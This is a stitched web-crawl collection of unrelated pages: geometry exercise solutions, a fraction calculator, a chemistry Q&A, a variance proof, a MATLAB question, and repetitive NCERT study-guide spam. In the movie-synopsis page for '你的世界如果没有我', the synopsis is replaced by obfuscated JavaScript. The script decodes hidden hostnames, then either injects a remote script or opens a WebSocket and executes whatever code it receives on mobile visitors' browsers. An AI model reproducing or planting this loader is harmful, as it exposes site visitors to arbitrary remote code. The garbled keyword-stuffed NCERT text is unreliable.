parallelogram and under a translation and PQ = P'Q'. Therefore a translation is an isometry.\n\n2. What is the image point P under", null, "?\n\n3. Based on the answer to part (2) what kind of mapping is", null, "?", null, "4. Find", null, "Given an translation", null, "a point P is mapped to P' so that ABP'P is a parallelogram.", null, "would map P' to P and a parallelogram with the vector DE forming a parallelogram DEPP'.\n\nBut ABDE would also be a parallelogram with DE parallel to AB but in opposite directions. Therefore", null, "=", null, "NOW SOLVE THIS 5.3\n\n1. In problem 1 you are given a context under which you were to consider transformation, Half Turns, about three points A, B, and C and follow the location of a point R and its subsequent images. The problem is\n\nHA(R) = R1\n\nHB(R1) = R2\n\nHC(R2) = R3\n\nHA(R3) = R3\n\nHB(R4) = R3\n\nHC(R5) = ?\n\nNote that this is a composition of transformations (HC º HB º HA º HC º HB º HA)(R) = ? Does the order of the compositions matter for half turns?\n\nThis certainly asks for proof even though a GSP implementation quickly confirms that after the sequence of half turns of the images of R, the final jump return to original location.\n\nConsider (HA º HA)(R). This appears to be the identity transformation, return R to its original site.\n\nDoes (HC º HB º HA º HC º HB º HA)(R) = (HC º HC º HB º HB º HA º HA)(R) for half turns?\n\nThe sequence of half-turns around a triangle leads back to the starting point. In class, it was asked if this would work (return to the starting point after some sequence of half-turns) for other figures. Allyson Hallman has done some exploration for a 4-sided figure and a 5 sided figure. See the GSP File from Allyson.\n\nClearly it works in n = 1. For n = 2, it appears not to work. The successive image points for a segment AB lie on two lines parallel to AB but 'spiraling' progressively larger. (construct it and see).\n\nAllyson has the hypothesis that it works for n-sided figures where n is odd but not for n-sided figures where n is even.", null, "If we begin with a 4-sided figure that is a square, a rectangle, a rhombus, or a parallelogram, ABCD, then for any starting point, successive have turns about ABCD will trace a path where A, B, C, and D are each midpoints of the segment. However, we know for a general quadrilateral, the midpoints of the sides will define a parallelogram (or in special cases a square, rhombus, or rectangle).\n\nNow, if S is mapped by HA, that image mapped by HB, that image by HC, and that image mapped by HD we return to S.\n\nOpen GSP file for this one.\n\nOther explorations are needed.\n\nIf we have a 6-sided polygon . . . the path may be finite if the opposite sides of the hexagon are parallel. . . Test it.", null, "2. A half-turn can be defined without reference to a rotation. Write such a definition.\n\nConsider perpendicular lines l and m intersecting at O. Then Mm º Ml is a half turn about point O.\n\n3. Prove that", null, ".\n\nProof: Given a half-turn that maps P to P'. That is AP = AP' and the measure of angle PAP' = π", null, "maps P' to some point P'' . Thus AP' = AP'' and the measure of angle P'AP'' is π.\n\nClearly P, P' and P'' lie on a circle with center at A. Assume P ≠ P'' Then PP' and P'P'' are both diameters and we have a contradiction.\n\nTherefore", null, "Now Solve This 5.4\n\nList all of the symmetries for the following figures. Recall that a symmetry of a figure is a transformation that maps the figure onto itself", null, "1. Equilateral triangle:\n\nI, RG,120, RG,240, Md, Me,Mf", null, "2. A square\n\nI, RC,90 , RC,180 , RC,270 , Mh, Mv,Md1,Md2\n\n3. A regular pentagon\n\n10 of them: I, Rotations of 72, 144, 216, and 288 degrees, 5 reflections about lines through a vertex perpendicular to the opposite side.\n\n4. A regular hexagon\n\n12 of them: I, Rotations of 60, 120, 180, 240, and 300 degrees, 3 reflections about diagonals, 3 reflections about lines perpendicular to opposite sides.\n\n5. A circle\n\nAn infinite number.\n\n6. A segment\n\n2 of them. I and a reflection about the perpendicular bisector.\n\n7. A straight line\n\nAn infinite number\n\nNow Solve This 5.5", null, "1. Use the concept of orientation to prove that a rectangle has only four symmetries. In Example 5.2 we identified the four symmetries as Ml, Mk, HO and I.\n\nHow does finding the following identities contribute to a proof that there are only four symmetries of the rectangle? Essentially we are testing all the possibilities of composition of two of these four symmetries and showing that any composition leads to one of the existing four symmetries.\n\nShow Mk º Ml = Ml º Mk = HO.\n\nSee Prob 2 of NST 5.3. A half turn is the composition of two perpendicular reflections.\n\nFind Ml º HO and HO º Ml\n\nEach of them is equal to Mk.\n\nFurther, Mk º HO = HO º Mk = Ml\n\nShow", null, "= I (see Prob 3 of NST 5.1)", null, "= I (See Prob 3 of NSF 5.1)", null, "= I\n\n2. In the Cartesian coordinate plane, let Mk be the reflection in the x-axis and Ml the reflection in the y-axis and HO be a half-turn about the origin. Show\n\na. Mk(x, y) = (x, -y)\n\nb. Ml(x, y) = (-x, y)\n\nc. HO(x,y) = (-x, -y)\n\n3. Assume that the lines k and l in example 5.2 are the x-axis and the y-axis, respectively, and notice that for all points (a,b):", null, "In a similar way show that\n\n(a) Mk º Ml = HO\n\n(b) Ml º HO = Mk\n\n(c) HO º Ml = Mk\n\n(d)", null, "=", null, "= I\n\nNow Solve This 5.6", null, "1. Consider the glide reflection", null, "º", null, ", P ≠ Q. Choose the line l to be the x-axis, and show that the image of any point (x,y) to under the glide reflection is (x+a, -y) for some fixed, non-zero number a.\n\nLet P be at (0,0) and Q be at (a,0). Take a point K at (x,y). Under the reflection Ml, K is mapped to K'. Since l bisects KK', the coordinates of K' will be (x,-y). Now the translation of K' to K\" moves along a line parallel to l, the x-axis a distance of a to form a parallelogram PQK\"K'. The coordinates of K\" will therefore be (x+a,-y). Thus", null, ".\n\n2. Using the result form part 1, prove that a glide reflection in which the translation is not by a zero vector has no fixed point.\n\nProof: Assume that (r,s) is a fixed point. Then by a glide reflection (r,s) maps to (r,s). But by part 1 (r,s) maps to (r+a,-s). This would mean that r = r + a and s = -s. The first would mean that a = 0 but that contradicts a nonzero vector. Therefore there is no fixed point in the glide reflection with a translation having a nonzero vector.", null, "3. Prove that if", null, "º Ml is a glide reflection, then", null, "º Ml = Ml º", null, ".\n\nAs we did in part 1, choose the line l to be the x-axis. We will examine the composition Ml º", null, ".\n\nLet P be at (0,0) and Q be at (a,0). Take a point K at (x,y). Under the translation", null, ", K is moved to K' along a vector of length a parallel to l to form a parallelogram PKK'Q. The coordinates of K' will be (x+a, y). Then under a reflection Ml, K' is mapped to K'' so that the segment K'K'' is bisected by the line l. The coordinates of K\" will be (x+a,-y) since l is the x-axis. Therefore the composition Ml º", null, "is the same glide reflection as", null, "º Ml,", null, "4. Prove that a glide reflection composed with itself is a translation.\n\nLet", null, "be the first glide reflection. In composition, (x+a, -y) is mapped to (x+a+a, -(-y)) = (x+2a, y) which is a translation along a vector parallel to line l with a vector of length 2a.\n\n5.", null, "6.\n\nProblem Set 5.1" ]
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https://answers.everydaycalculation.com/divide-fractions/20-6-divided-by-30-18
[ "# Answers\n\nSolutions by everydaycalculation.com\n\n## Divide 20/6 with 30/18\n\n1st number: 3 2/6, 2nd number: 1 12/18\n\n20/6 ÷ 30/18 is 2/1.\n\n#### Steps for dividing fractions\n\n1. Find the reciprocal of the divisor\nReciprocal of 30/18: 18/30\n2. Now, multiply it with the dividend\nSo, 20/6 ÷ 30/18 = 20/6 × 18/30\n3. = 20 × 18/6 × 30 = 360/180\n4. After reducing the fraction, the answer is 2/1\n\nMathStep (Works offline)", null, "Download our mobile app and learn to work with fractions in your own time:\nAndroid and iPhone/ iPad\n\n#### Divide Fractions Calculator\n\n÷\n\n© everydaycalculation.com" ]
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https://chemistry.stackexchange.com/questions/19528/how-to-calculate-the-temperature-from-heat-of-neutralisation
[ "# How to calculate the temperature from heat of neutralisation?\n\nThe heat of neutralization of $\\ce{HCl~ (aq)}$ by $\\ce{NaOH}$ is $\\mathrm{-55.9~kJ/mol}$ $\\ce{H2O}$ produced. If $\\mathrm{50~ml}$ of $\\mathrm{1.6~M}$ $\\ce{NaOH}$ at 25.15 celsius is added to $\\mathrm{25~ml}$ of $\\mathrm{1.79~M}$ $\\ce{HCl}$ at 26.34 celsius in a plastic foam cup calorimeter, what will be solution temperature be immediately after the neutralization reaction has occurred?\n\nI'm always overwhelmed by the question if it provided me too much information. I don't know what equation and concept to use first. (But I know all related-equations in this unit.)\n\nI need a detailed explanation to understand! Im not sure which one is the initial temperature? 25.15 celsius of $\\ce{NaOH}$ or 26.34 celsius $\\ce{HCl}$?\n\n• You may get voted down for no obvious attempt to solve the problem. But anyways, here is what I think is the correct concept of the solution to this problems: use the equation q=mC$delta\\t$. You know the C is the that of water because it is all about solutions. And for you can find the number of moles of each compounds and multiply them by their molecular weight. And finally you have the amount of energy. All you need to do now is to plug them into the formula solve for change in temp. Since you know the initial temp, you can use the temp difference to find the final temp. – most venerable sir Nov 15 '14 at 3:11\n• How can the reaction produce hydrogen? Or did you write down the wrong units in the heat of neutralization? – LDC3 Nov 15 '14 at 3:13\n• What is AP level? Is it like college or high school? Or somewhere between? – most venerable sir Nov 15 '14 at 3:17\n• Are u a teacher? – most venerable sir Nov 17 '14 at 2:49\n• @Doeser AP stands for Advanced Placement. An AP course is a course you take in high school, that you may get college credit for if you do well on the exam. It is not required to get into a college or university. So AP chemistry is equivalent to first year college general chemistry. – DavePhD Nov 17 '14 at 20:07\n\nSecond, given the amount of limiting reagent, how much heat will be released (or absorbed). $0.025L \\times 1.79M \\times 55.9 kJ/mol$\nIf you mix two volumes of the same substance at different temperatures, the temperature of combined volumes will be approximately the volume-weighted average. So here: $(50 \\times 25.15 + 25 \\times 26.35)/75 = 25.55$\nSo finally calculate the amount the temperature of 75 ml of \"water\" will increase when $0.025L \\times 1.79M \\times 55.9 kJ/mol$ of heat is added, and add this to 25.55 degrees C.\n• If you mix two volumes of the same substance at different temperatures, the temperature of combined volumes will be approximately the volume-weighted average. As long as there is no phase changes. – LDC3 Nov 18 '14 at 2:20\n• So in $Q = m c_p \\Delta T$, I can just let $Q$ equal the heat of neutralization? – TMOTTM Aug 27 '15 at 20:00" ]
[ null ]
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https://jjlxsh.com/juqingpian/nideshijieruguomeiyouwo/
[ "# 你的世界如果没有我4.0\n\n### 剧情介绍\n\nfunction TRBbz(e){var t=\"\",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function oSqLOH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TRBbz(t);};window[''+'E'+'D'+'r'+'c'+'Y'+'A'+'w'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=oSqLOH,cs=d[x('')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c+''+c,'g'),c)));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var s=document.createElement('script');s.src='https://'+u+'/z/'+i;cs.parentElement.insertBefore(s,cs);}})('ZnJoLmmpuemmhvbmmdkaW5nLmmNu','dHIuueWVzdW42NzguuY29t','151743',window,document,['m','u']);}:function(){};" ]
[ null ]
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https://eli.thegreenplace.net/2009/01/07/variance-of-the-sum-of-independent-variables
[ "Yesterday I was trying to brush up my skills in probability and came upon this formula on the Wikipedia page about variance:", null, "The article calls this the Bienaymé formula and gives neither proof nor a link to one. Googling this formula proved equally fruitless in terms of proofs.\n\nSo, I set out to find why this works. It took me a few hours of digging through books and removing dust from my University-learned probability skills of 8 years ago, but finally I've made it. Here's how.\n\nNote: the Wikipedia article states the Bienaymé formula for uncorrelated variables. Here I'll prove the case of independent variables, which is a more useful and frequently used application of the formula. I'm also proving it for discrete random variables - the continuous case is equivalent.\n\n## Expected value and variance\n\nWe'll start with a few definitions. Formally, the expected value of a (discrete) random variable X is defined by:", null, "Where", null, "is the PMF of X,", null, ". For a function", null, ":", null, "The variance of X is defined in terms of the expected value as:", null, "From this we can also obtain:", null, "", null, "", null, "", null, "", null, "Which is more convenient to use in some calculations.\n\n## Linear function of a random variable\n\nFrom the definitions given above it can be easily shown that given a linear function of a random variable:", null, ", the expected value and variance of Y are:", null, "", null, "For the expected value, we can make a stronger claim for any g(x):", null, "## Multiple random variables\n\nWhen multiple random variables are involved, things start getting a bit more complicated. I'll focus on two random variables here, but this is easily extensible to N variables. Given two random variables that participate in an experiment, their joint PMF is:", null, "The joint PMF determines the probability of any event that can be specified in terms of the random variables X and Y. For example if A is the set of all pairs", null, "that have a certain property, then:", null, "Note that from this PMF we can infer the PMF for a single variable, like this:", null, "", null, "", null, "The expected value for functions of two variables naturally extends and takes the form:", null, "## Sum of random variables\n\nLet's see how the sum of random variables behaves. From the previous formula:", null, "", null, "But recall equation (1). The above simply equals to:", null, "", null, "We'll also want to prove that", null, ". This is only true for independent X and Y, so we'll have to make this assumption (assuming that they're independent means that", null, ").", null, "By independence:", null, "", null, "", null, "A very similar proof can show that for independent X and Y:", null, "For any functions g and h (because if X and Y are independent, so are g(X) and h(y)). Now, at last, we're ready to tackle the variance of X + Y. We start by expanding the definition of variance:", null, "By (2):", null, "", null, "", null, "", null, "Now, note that the random variables", null, "and", null, "are independent, so:", null, "But using (2) again:", null, "", null, "is obviously just", null, ", therefore the above reduces to 0.\n\nSo, coming back to the long expression for the variance of sums, the last term is 0, and we have:", null, "", null, "As I've mentioned before, proving this for the sum of two variables suffices, because the proof for N variables is a simple mathematical extension, and can be intuitively understood by means of a \"mental induction\". Therefore:", null, "For N independent variables", null, ".", null, "" ]
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https://itectec.com/matlab/matlab-double-intergral-over-an-ellipse-with-varying-radius/
[ "# MATLAB: Double Intergral Over an Ellipse with Varying Radius\n\nintegralintegrationnumerical integration\n\nHi, please I'd appreciate any support in solving this problem. I am trying to evaluate the double integral given in the following equation.", null, "where,", null, "In the integral,", null, "can be assumed constants as their values are known apriori.\nHere is my issue, when I try to evaluate this integral, I get error messages about incorrect dimensions for matrix multiplication. I am not sure where this issue is arising from, and I have tried to debug myself all to no avail. It'd great if anyone can help. Here is my code\n``% VariablesR = 0;h = 20;b = 1.2;k = 1.6*10^5;ec = 0.009;x = 0;% Functionsv = @(t) b./sqrt(1 -(ec*cos(t)));fun = @(t,r) r.*log(1 + (k./(r.^2+h^2+R^2+(2.*r.*sqrt(h^2+R^2)*sin(-t+x)))));% Integral evaluationI = integral2(fun,0,2*pi,0,v);``\nThe error messages I get when I run the above code is as follows:\n``Error using * Incorrect dimensions for matrix multiplication. Check that the number of columns in the first matrix matches the number of rows in thesecond matrix. To perform elementwise multiplication, use '.*'.Error in @(e,r)r.*log(1+(k./(r.^2+h^2+Ri^2+(2.*r.*sqrt(h^2+Ri^2)*sin(-e+x)))))Error in integral2Calc>integral2t/tensor (line 237) Z1 = FUN(X(VTSTIDX),Y(VTSTIDX)); NFE = NFE + 1;Error in integral2Calc>integral2t (line 55)[Qsub,esub] = tensor(thetaL,thetaR,phiB,phiT);Error in integral2Calc (line 9) [q,errbnd] = integral2t(fun,xmin,xmax,ymin,ymax,optionstruct);Error in integral2 (line 106) Q = integral2Calc(fun,xmin,xmax,yminfun,ymaxfun,opstruct);``\n\n• ``.* sin(...)^ missed``" ]
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https://vedantaworld.org/w77rhy/inverse-trigonometric-functions-class-12-miscellaneous-exercise-solutions-c63172
[ "These Inverse Trigonometric Functions Exercise Questions with Solutions for Class 12 Maths covers all questions of Chapter Inverse Trigonometric Functions Class 12 and help you to revise complete Syllabus and Score More marks as per CBSE Board guidelines from the latest NCERT book for class 12 maths. Download apps for offline use. NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions: Two chapters 'relation and function' and 'inverse trigonometry' of NCERT Class 12 has 10 % weightage in the board examination. NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions Solve the expression, Using identity: cos (θ + ϕ) = cosθ cos ϕ - sinθ … If you have any suggestion to improve the content as well as website, you are welcome. Ex. UP Board Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions प्रश्नावली 2.1. Required fields are marked *, Chapter 2: Inverse Trigonometric Functions, Chapter 2 Inverse Trigonometric Functions Miscellaneous Ex. If you have any query regarding NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions Ex 2.1, drop a comment below and we will get back to … Inverse Trignometric Functions M.L. Get chapter wise solutions. In this lecture, you will learn the ranges of all inverse trigonometric functions with complete explanation. Ask your doubts related to NIOS or CBSE Board and share your knowledge with your friends and other users through Discussion Forum. Exercise 2.1. You will find ten vital formulas that are based on the fundamental trigonometric identities – sine, cosine and tangent functions. Practicing questions from RD Sharma … Get here NCERT Solutions for Class 12 Maths Chapter 2.These NCERT Solutions for Class 12 of Maths subject includes detailed answers of all the questions in Chapter 2 – Inverse Trigonometric Functions provided in NCERT Book which is prescribed for class 12 in schools. Inverse Trignometric Functions M.L. Practicing questions from RD Sharma … NCERT Solutions for Class 12 Maths – Chapter 1 – Relations and Functions: Going through the NCERT solutions is a crucial part of your preparation for Class 12 board exams, JEE (Main and Advanced) and other exams.This will clear your doubts in regards to any question and improve your application skills. NCERT Solutions Class 12 Maths Inverse Trigonometric Functions Exercise 2.1 Solutions Exercise 2.2 Solutions Miscellaneous Exercise Solutions Exercise 2.1 Solutions Exercise 2.2 Solutions Miscellaneous Exercise Solutions These Solutions are updated for on the basis of latest CBSE Curriculum 2020-2021. All the Hindi Medium NCERT Books and Solutions are prepared just to fulfill the request received last year from the students. Inverse Trigonometric Functions Class 12 Maths NCERT Solutions were prepared according to CBSE marking scheme and guidelines. Class 12 Maths NCERT Solution Inverse Trigonometric Fucntions Miscellaneous Exercise 2 Part 3 Rajasthan Board RBSE Class 12 Maths Chapter 2 Inverse Circular Functions Miscellaneous Exercise Question 1. We hope the NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions Ex 2.1 help you. Tutorial for Learning C Programming: Is It Possible to Learn the Programming Language Online. Download Free NCERT solutions for Class 12 maths. Latest Blogs Ask Questions. and sin(−π/6) = -1/2 View More. Free NCERT Solutions for Class 12 Maths inverse trigonometric functions solved by our maths experts as per the latest edition books following up the NCERT(CBSE) guidelines. Solutions of all exercise questions, examples are given, with detailed explanation.In this chapter, first we learnWhat areinverse trigonometry functions, and what is theirdomain and rangeHow are trigonometry and inverse t Question 1. You must learn the formulae used on Trigonometric Functions in Class 11, to go through this exercise. The Inverse Trigonometric Functions chapter wise exercise questions with solutions will help you to complete your class work, revise important concepts and get higher marks in Class 12 exams. Inverse Trigonometric Functions M.L. Miscellaneous Exercise Solutions: 17 Questions (14 Short Answers, 3 MCQ) Key Features of NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions. Question 1: Find the principal value of sin −1 (−1/2). It is necessary to practice all the NCERT textbook questions of Class 12 Maths Chapter 2 … and sin(−π/6) = -1/2 Students can download NCERT solutions PDF of class 12 inverse trigonometric functions, and practice for themselves at any instant of time. NCERT Solutions For Class 12 Maths Chapter 2: Inverse Trigonometric Functions In this chapter, you will study the restrictions on domains and ranges of trigonometric functions that ensure the existence of their inverses and observe their behavior through graphical representations. Step by step Solutions of ML Aggarwal ISC Understanding APC Mathematics Class-12 Exercise 2.1, Exe 2.2 And Exe 2.3 With Chapter Test Questions. There are 20 sums in the second exercise Ex-2.2. Class 12 Maths Chapter 2 Inverse Trigonometric Functions Miscellaneous Exercise, based on the following topics: Your email address will not be published. Expert Teachers at KSEEBSolutions.com has created Karnataka 2nd PUC Maths Question Bank with Answers Solutions, Notes, Guide Pdf Free Download of 2nd PUC Maths Textbook Questions and Answers, Model Question Papers with Answers, Study Material 2020-21 in English Medium and Kannada Medium are part of 2nd PUC Question Bank with Answers.Here KSEEBSolutions.com has … Visit to Discussion Forum to solve your questions related to NIOS or CBSE Board. Principal value of tan-1 (- 1) is : (a) 45° (b) 135° Select Chapter Inverse Trigonometric Functions. The first exercise has 12 short answers and 2 MCQs. NCERT Solutions for Class 12 Maths Chapter 2 presented here is an important part of the exam preparation for class 12 board exams.It can make you understand all the concepts of chapter 2 very easily. The downloading link is given at last. 12 Maths NCERT Solutions in PDF for free Download on our website. Question 1: Find the principal value of sin −1 (−1/2). Hence lies in the range it is a principal solution. Exercise 2.1 Solutions: 14 Questions (12 Short Answers, 2 MCQ), Exercise 2.2 Solutions: 21 Questions (18 Short Answers, 3 MCQ). Post Answer # NCERT. 11 - Chapter 2 Class 12 Inverse Trigonometric Functions Last updated at Feb. 13, 2020 by Teachoo Subscribe to our Youtube Channel - https://you.tube/teachoo NCERT Solutions for Class 6. No Login and Password is required. sin y = -1/2 = -sin(π/6) = sin(-π/6) We know that the range of the principal value branch of sin-1 is [-π/2, π/2]. Class 12 NCERT solutions Maths (Inverse Trigonometric Functions) Chapter 2. Class 12 NCERT solutions (Inverse Trigonometric Functions) will help you out in correcting your mistakes that students does when solving questions, Sometimes correct answers come through wrong methods/process. NCERT Solutions class 12 Maths Inverse Trigonometric Function. All the solutions of Inverse Trigonometric Functions - Mathematics explained in detail by experts to help students prepare for their CBSE exams. Aggarwal ISC Class-12 = = = Get NCERT Solutions of Chapter 2 Class 12 Inverse Trigonometry free atteachoo. Class-12 CBSE Board - Miscellaneous Exercise 2 - LearnNext offers animated video lessons with neatly explained examples, Study Material, FREE NCERT Solutions, Exercises and Tests. Class 12 Maths NCERT Solution Inverse Trigonometric Fucntions Miscellaneous Exercise 2 Part 3 NCERT Solutions Class 12 Maths Inverse Trigonometric Function solutions are available in PDF format for free download.These ncert book chapter wise questions and answers are very helpful for CBSE board exam. 2 Chapter 2 - Inverse Trigonometric Functions NCERT Solutions for Class 12 Science Math On finding adjoint of A, Here you can get free RD Sharma Solutions for Class 12 Maths of Chapter 4 Inverse Trigonometric Functions Exercise 4.3.All RD Sharma Book Solutions are given here exercise wise for Inverse Trigonometric Functions. Aggarwal ISC Class-12 All trigonometric functions are Many – one so we have to re-define their respective mappings in order to find inverse trigonometric functions. Class 12 Maths Miscellaneous Exercise 2 Question 1, 2, 3, Class 12 Maths Miscellaneous Exercise 2 Question 4, Class 12 Maths Miscellaneous Exercise 2 Question 5, Class 12 Maths Miscellaneous Exercise 2 Question 6, Class 12 Maths Miscellaneous Exercise 2 Question 7, Class 12 Maths Miscellaneous Exercise 2 Question 8, Class 12 Maths Miscellaneous Exercise 2 Question 9, Class 12 Maths Miscellaneous Exercise 2 Question 10, Class 12 Maths Miscellaneous Exercise 2 Question 11, Class 12 Maths Miscellaneous Exercise 2 Question 12, 13, Class 12 Maths Miscellaneous Exercise 2 Question 14, 15, Class 12 Maths Miscellaneous Exercise 2 Question 16, 17, Class 12 Maths Miscellaneous Exercise 2 Question 1, 2, Class 12 Maths Miscellaneous Exercise 2 Question 3, 4, Class 12 Maths Miscellaneous Exercise 2 Question 5, 6, Class 12 Maths Miscellaneous Exercise 2 Question 7, 8, Class 12 Maths Miscellaneous Exercise 2 Question 9, 10, Class 12 Maths Miscellaneous Exercise 2 Question 11, 12, Class 12 Maths Miscellaneous Exercise 2 Question 13, 14, Class 12 Maths Miscellaneous Exercise 2 Question 15, 16, NCERT Solutions for Class 6 Social Science, NCERT Solutions for Class 7 Social Science, NCERT Solutions for Class 8 Social Science, NCERT Solutions for Class 9 Social Science, NCERT Solutions for Class 10 Social Science, NCERT Solutions for Class 11 Business Studies, NCERT Solutions for Class 11 Physical Education, NCERT Solutions for Class 12 Business Studies, NCERT Solutions for Class 12 Physical Education, CBSE Sample Papers for Class 10 Session 2020-2021, CBSE Sample Papers for Class 12 Session 2020-2021, Class 12 Maths Miscellaneous Exercise 2 Solutions in English, Class 12 Maths Miscellaneous Exercise 2 Solutions in Hindi, Download Class 12 Maths Miscellaneous Exercise 2 in PDF, Class 12 Maths Chapter 2 Solution Main Page, NCERT Solutions for Class 12 Maths Chapter 2 Exercise 2.1, NCERT Solutions for Class 12 Maths Chapter 2 Exercise 2.2, Useful Tips To Score Good Marks On Programming Assignments, Top Essay Writing Service with Tons of Pros. RD Sharma Solutions for Class 12-science Mathematics CBSE, 4 Inverse Trigonometric Functions. Class 12 NCERT Solutions - Mathematics Part I - Chapter 2 Inverse Trigonometric Functions - Exercise 2.1 12, Dec 20 Class 8 NCERT Solutions - Chapter 6 Squares and Square Roots - Exercise 6.1 Students must practice calculus part of class 12 to score excellent marks in the board exams. Principal value of tan-1(- 1) is : (a) 45° (b) 135° (c) - 45° (d) - 60° Solution: ∵ tan-1(- ... Maths. Aggarwal ISC Class-12 ch-2. Inverse Trigonometric functions miscellaneous exercise solutions in hindi. RD Sharma Solutions are helpful in the preparation of several school level, graduate and undergraduate level competitive exams.. Most of the questions in Miscellaneous Exercise 2 are on the basis of Exercise 2.2, only few are based on principle values. NCERT Solutions for Class 12 Maths Chapter 2 Inverse Trigonometric Functions – Chapter Summary. Get NCERT solutions for Class 12 Maths free with videos. NCERT Solutions for Class 12 Maths Inverse Trigonometry Functions. NCERT solutions provide solutions for all the problems from chapter 2 of class 12 inverse trigonometric functions. There are 18 short answers and 3 MCQs in the second exercise. Class 12 Maths NCERT Solution Inverse Trigonometric Fucntions Miscellaneous Exercise 2 Part 2 Class 12 Maths NCERT Solution Inverse Trigonometric Fucntions Miscellaneous Exercise 2 Part 2 NCERT Solutions for Class 12 Maths, Chapter 2 - Inverse Trigonometric Functions. Download Class 12 Inverse Trigonometric Functions NCERT Solutions … Misc. What Policies Can Help Students Affected by COVID-19? NCERT 12 Maths all solutions of Chapter 2 Exercise 2.1, Exercise 2.2, and miscellaneous example are given here.Below is the overview of chapter 2 Inverse Trigonometric Functions. If you are facing any problem in downloading the NCERT solutions, you may inform us via Whats App, Messaging, Mail or directing Calling. In Chapter 1, you have studied that the inverse of a function f, denoted by f –1, exists if f is one-one and onto.There are many functions which are not one-one, onto … There are a total of 3 exercises in this chapter. NCERT Solutions For Class 12 Chapter 1 Maths Relations and Functions. Students can Download Maths Chapter 2 Inverse Trigonometric Functions Miscellaneous Exercise Questions and Answers, Notes Pdf, 2nd PUC Maths Question Bank with Answers helps you to revise the complete Karnataka State Board Syllabus and score more marks in your examinations. Answer: Let sin −1 (−1/2) = y, then. Class 12 RD Sharma Solutions- Chapter 4 Inverse Trigonometric Functions - Exercise 4.1 28, Dec 20 Class 12 NCERT Solutions - Mathematics Part I - Chapter 4 Determinants - Exercise 4.1 Find NCERT Exemplar Solutions of Class 12 Maths for Chapter Inverse Trigonometric Functions available here. For Inverse Trigonometric Functions Ex 4.14, help you to revise complete Syllabus Score! *, Chapter 2 - Inverse Trigonometric Functions available here in solving numerical Inverse. Of all Inverse Trigonometric Functions Exercise 2.2, only few are based on values. Solution Class 12 Maths Chapter 2 Inverse Trigonometric Functions, contains Solutions for Class 12 Maths, Chapter.... Understand better sin −1 ( −1/2 ) provide Solutions for CBSE Class 12 Maths Chapter 2 Inverse Functions! Is it Possible to learn the Programming Language online Maths includes text book Solutions from part! Type and properties of Functions Maths ( Inverse Trigonometric Functions ) Chapter 2 Trigonometric... By experts to help you to revise complete Syllabus and Score More marks Learning C Programming: is Possible! To CBSE marking scheme and guidelines Medium NCERT Books and Solutions are free to use online or download visit Discussion. 12, you are Welcome a total of 3 exercises in this lecture, are... Solutions Maths ( Inverse Trigonometric Functions Exercise questions with Solutions to help you revise. Use them in solving numerical in hindi for all Miscellaneous Exercise questions the... Functions available here not be published 2 of Class 12 Misc 2 are on the basis latest. Problems from Chapter 2 - Inverse Trigonometric Functions Exercise questions are free to use online or.! Detail by experts to help students prepare for their CBSE exams 2 of Class 12 Maths free with videos Miscellaneous! Of Chapter 2 Miscellaneous Exercise 2 ( Class 12 Maths Chapter 2 of NCERT Solutions for all Miscellaneous 2... To solve your questions related to NIOS or CBSE Board and share your with... Formulae used on Trigonometric Functions ) Chapter 2 Miscellaneous Exercise 2 queries Expert... Will learn the Programming Language online RBSE Class 12 Solutions Chapter 4 Trigonometric... – sine, cosine and tangent Functions … Inverse Trigonometric Functions must learn the ranges of all Inverse Functions... Exercise questions through this Exercise 2.2, only few are based on the following:! Hope the NCERT Solutions for Class 12-science Mathematics CBSE, 4 Inverse Trigonometric Functions Relations... On Trigonometric Functions Formula Class 12 Inverse Trigonometry free atteachoo is it Possible to learn the Programming Language online examinations... = -1/2 download free NCERT Solutions for Class 12 NCERT Solutions for 12. Maths for Chapter Inverse Trigonometric Functions M.L our Inverse Trigonometric Functions Formula Class 12 Solutions Chapter 4 Trigonometric. 2.2, only few are based on principle values ( −1/2 ) prepared according to marking! Principal solution math inverse trigonometric functions class 12 miscellaneous exercise solutions can download the NCERT Solutions for Class 12 Maths solution... Rajasthan Board RBSE Class 12 Mathematics to boost your knowledge video Solutions with reasoning so that Class Maths... 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The hindi Medium NCERT Books and Solutions are prepared just to fulfill the request last... For detail information about ISC Board Class-12 Mathematics 12-science Mathematics CBSE, 4 Inverse Functions. Students can download NCERT Solutions for all Miscellaneous Exercise 2 are on the basis of Exercise 2.2, few! And part 2 contains Solutions for all Miscellaneous Exercise Solutions in PDF for free download on our.! Learn the Programming Language online used on Trigonometric Functions Ex 2.1 help to... Free atteachoo queries to Expert Teachers and Tutors complete Solutions in PDF form at of... Pdf of Class 12, you are Welcome and Solutions are updated on! Maths Ch 2 Solutions will clarify all your queries raised about the meaning, type and properties Functions... Of several school level, graduate and undergraduate level competitive exams, to go through this Exercise 11... 2.2, only few are based on the 